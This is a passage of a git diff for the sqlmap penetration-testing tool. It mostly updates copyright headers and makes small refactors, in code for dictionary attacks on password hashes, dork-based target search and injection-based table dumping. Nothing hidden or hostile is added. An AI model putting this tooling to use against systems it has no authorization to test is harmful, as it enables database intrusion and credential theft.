HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD): for suffix in suffix_list: if not attack_info or processException: break @@ -843,12 +1038,12 @@ def dictionaryAttack(attack_dict): count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): - p = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist)) - processes.append(p) + process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api)) + processes.append(process) - for p in processes: - p.daemon = True - p.start() + for process in processes: + process.daemon = True + process.start() while count.value > 0: time.sleep(0.5) @@ -859,7 +1054,7 @@ def dictionaryAttack(attack_dict): singleTimeWarnMessage(warnMsg) retVal = Queue() - _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist) + _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api) except KeyboardInterrupt: print @@ -927,12 +1122,12 @@ def dictionaryAttack(attack_dict): count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): - p = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist)) - processes.append(p) + process = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api)) + processes.append(process) - for p in processes: - p.daemon = True - p.start() + for process in processes: + process.daemon = True + process.start() while count.value > 0: time.sleep(0.5) @@ -951,7 +1146,7 @@ class Value(): found_ = Value() found_.value = False - _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist) + _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api) found = found_.value diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index f86d779d9d5..8f3c91e35d3 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import hashlib diff --git a/lib/utils/htmlentities.py b/lib/utils/htmlentities.py index bc9d73c316c..361acf54900 100644 --- a/lib/utils/htmlentities.py +++ b/lib/utils/htmlentities.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ # Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index a99fc898d91..231214cae86 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -27,6 +27,7 @@ from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException from lib.core.settings import MAX_INT +from lib.core.settings import NULL from lib.core.unescaper import unescaper from lib.request import inject @@ -41,7 +42,7 @@ def pivotDumpTable(table, colList, count=None, blind=True): if count is None: query = dumpNode.count % table - query = whereQuery(query) + query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT) if isinstance(count, basestring) and count.isdigit(): @@ -91,7 +92,7 @@ def pivotDumpTable(table, colList, count=None, blind=True): logger.info(infoMsg) query = dumpNode.count2 % (column, table) - query = whereQuery(query) + query = agent.whereQuery(query) value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(value): @@ -121,11 +122,11 @@ def pivotDumpTable(table, colList, count=None, blind=True): def _(column, pivotValue): if column == colList[0]: - query = dumpNode.query.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False)) + query = dumpNode.query.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False)) else: - query = dumpNode.query2.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False)) + query = dumpNode.query2.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False)) - query = whereQuery(query) + query = agent.whereQuery(query) return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) try: @@ -145,9 +146,10 @@ def _(column, pivotValue): except ValueError: pass - if isNoneValue(value): + if isNoneValue(value) or value == NULL: breakRetrieval = True break + pivotValue = safechardecode(value) if conf.limitStart or conf.limitStop: @@ -179,18 +181,3 @@ def _(column, pivotValue): logger.critical(errMsg) return entries, lengths - -def whereQuery(query): - if conf.dumpWhere and query: - prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "") - - if "%s)" % conf.tbl.upper() in prefix.upper(): - prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) - elif re.search(r"(?i)\bWHERE\b", prefix): - prefix += " AND %s" % conf.dumpWhere - else: - prefix += " WHERE %s" % conf.dumpWhere - - query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix - - return query diff --git a/lib/utils/progress.py b/lib/utils/progress.py index eb45d2388c9..4d7c023a4cf 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import getUnicode diff --git a/lib/utils/purge.py b/lib/utils/purge.py index 437e047ba4c..aab84005807 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os @@ -31,8 +31,8 @@ def purge(directory): dirpaths = [] for rootpath, directories, filenames in os.walk(directory): - dirpaths.extend([os.path.abspath(os.path.join(rootpath, _)) for _ in directories]) - filepaths.extend([os.path.abspath(os.path.join(rootpath, _)) for _ in filenames]) + dirpaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in directories) + filepaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in filenames) logger.debug("changing file attributes") for filepath in filepaths: diff --git a/lib/utils/search.py b/lib/utils/search.py index 98dba4b50b3..c660d4aee47 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import httplib @@ -26,9 +26,9 @@ from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import BING_REGEX from lib.core.settings import DUMMY_SEARCH_USER_AGENT from lib.core.settings import DUCKDUCKGO_REGEX -from lib.core.settings import DISCONNECT_SEARCH_REGEX from lib.core.settings import GOOGLE_REGEX from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import UNICODE_ENCODING @@ -104,25 +104,24 @@ def _search(dork): if not retVal and "detected unusual traffic" in page: warnMsg = "Google has detected 'unusual' traffic from " warnMsg += "used IP address disabling further searches" - logger.warn(warnMsg) + + if conf.proxyList: + raise SqlmapBaseException(warnMsg) + else: + logger.critical(warnMsg) if not retVal: message = "no usable links found. What do you want to do?" message += "\n[1] (re)try with DuckDuckGo (default)" - message += "\n[2] (re)try with Disconnect Search" + message += "\n[2] (re)try with Bing" message += "\n[3] quit" - choice = readInput(message, default="1").strip().upper() + choice = readInput(message, default='1') - if choice == "Q": + if choice == '3': raise SqlmapUserQuitException - elif choice == "2": - url = "https://search.disconnect.me/searchTerms/search?" - url += "start=nav&option=Web" - url += "&query=%s" % urlencode(dork, convall=True) - url += "&ses=Google&location_option=US" - url += "&nextDDG=%s" % urlencode("/search?q=%s&setmkt=en-US&setplang=en-us&setlang=en-us&first=%d&FORM=PORE" % (urlencode(dork, convall=True), (gpage - 1) * 10), convall=True) - url += "&sa=N&showIcons=false&filterIcons=none&js_enabled=1" - regex = DISCONNECT_SEARCH_REGEX + elif choice == '2': + url = "https://www.bing.com/search?q=%s&first=%d" % (urlencode(dork, convall=True), (gpage - 1) * 10 + 1) + regex = BING_REGEX else: url = "https://duckduckgo.com/d.js?" url += "q=%s&p=%d&s=100" % (urlencode(dork, convall=True), gpage) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index f85ff17a925..50f3d5cc8aa 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import imp @@ -64,6 +64,8 @@ def connect(self): raise SqlmapConnectionException("SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)" % pymssql.__version__) except ImportError: pass + elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(): + raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')") raise except SqlmapFilePathException: raise diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index 33b01060555..a50902d9a62 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import threading diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 6e46ed05b2b..ae2a15e118b 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import sys @@ -10,7 +10,7 @@ PYVERSION = sys.version.split()[0] if PYVERSION >= "3" or PYVERSION < "2.6": - exit("[CRITICAL] incompatible Python version detected ('%s'). For successfully running sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'http://www.python.org/download/')" % PYVERSION) + exit("[CRITICAL] incompatible Python version detected ('%s'). For successfully running sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % PYVERSION) extensions = ("gzip", "ssl", "sqlite3", "zlib") try: @@ -18,6 +18,6 @@ __import__(_) except ImportError: errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions)) - errMsg += "most probably because current version of Python has been " + errMsg += "most likely because current version of Python has been " errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')" exit(errMsg) \ No newline at end of file diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index d525d05baa8..34076c7ec77 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ class xrange(object): diff --git a/plugins/__init__.py b/plugins/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index 53f8a75367c..27da4be82fd 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 0ecb8162301..4e579c97f1c 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ try: import pyodbc -except ImportError: +except: pass import logging diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index dcf357a7479..c74aed8bcf4 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index 6d587b4a566..8c02c9804aa 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index e605386715c..4b01d076de9 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -94,7 +94,7 @@ def _getDatabaseDir(self): if wasLastResponseDBMSError(): threadData = getCurrentThreadData() - match = re.search("Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1]) + match = re.search(r"Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1]) if match: retVal = match.group(1).rstrip("%s.mdb" % randStr) @@ -130,7 +130,7 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] - if re.search("-log$", kb.data.banner): + if re.search(r"-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer]) @@ -146,7 +146,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or (conf.dbms or "").lower() in ACCESS_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(ACCESS_ALIASES): setDbms(DBMS.ACCESS) return True diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index 6ee9ef79140..b1a5131a7a9 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index 7d072960600..651cff65183 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index 723abbb3783..3f642ab0586 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index 1f692e3a556..d3dfef3068a 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ try: import ibm_db_dbi -except ImportError: +except: pass import logging diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index 4e2ea9a48fc..b6b64ac0bee 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ @@ -18,4 +18,3 @@ def getPasswordHashes(self): logger.warn(warnMsg) return {} - diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index b02afc7d350..4699cb9b634 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index b3be0735e22..deb2c22bd38 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ @@ -81,7 +81,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or (conf.dbms or "").lower() in DB2_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(DB2_ALIASES): setDbms(DBMS.DB2) return True diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index 00e8dc9569b..64f08a7c4ea 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index d1964a6733a..ba8026e8880 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from plugins.generic.takeover import Takeover as GenericTakeover diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index 26d77ad6773..602855ddc3b 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index 275fd64011a..df874f9c0b1 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ try: import kinterbasdb -except ImportError: +except: pass import logging diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 51cdc335294..9d5e915ed8e 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index fe7a6358f09..9b353468691 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 6ed7a3a6361..ba350205e43 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -18,7 +18,6 @@ from lib.core.session import setDbms from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import METADB_SUFFIX -from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint @@ -53,7 +52,7 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] - if re.search("-log$", kb.data.banner): + if re.search(r"-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer]) @@ -103,9 +102,7 @@ def _dialectCheck(self): return retVal def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \ - or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \ - Backend.getVersion() != UNKNOWN_DBMS_VERSION: + if not conf.extensiveFp and Backend.isDbmsWithin(FIREBIRD_ALIASES): setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion())) self.getBanner() diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index 0b52b3804b3..15767b3a348 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import isDBMSVersionAtLeast diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index f450d2a077e..967f193c6aa 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index cf7ae38d8d8..bcbc831641d 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index a1444f9564a..77e041e0caf 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,14 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ try: import jaydebeapi import jpype -except ImportError, msg: +except: pass import logging diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index d0ea0999704..78d94293d8d 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from plugins.generic.enumeration import Enumeration as GenericEnumeration @@ -10,7 +10,6 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries -from lib.core.common import Backend from lib.core.common import unArrayizeValue from lib.core.enums import DBMS from lib.core.settings import HSQLDB_DEFAULT_SCHEMA diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index 1f5ba523b7a..bdbcafef126 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index fa6bb857c9d..cab68f15e64 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -16,7 +16,6 @@ from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import HSQLDB_ALIASES -from 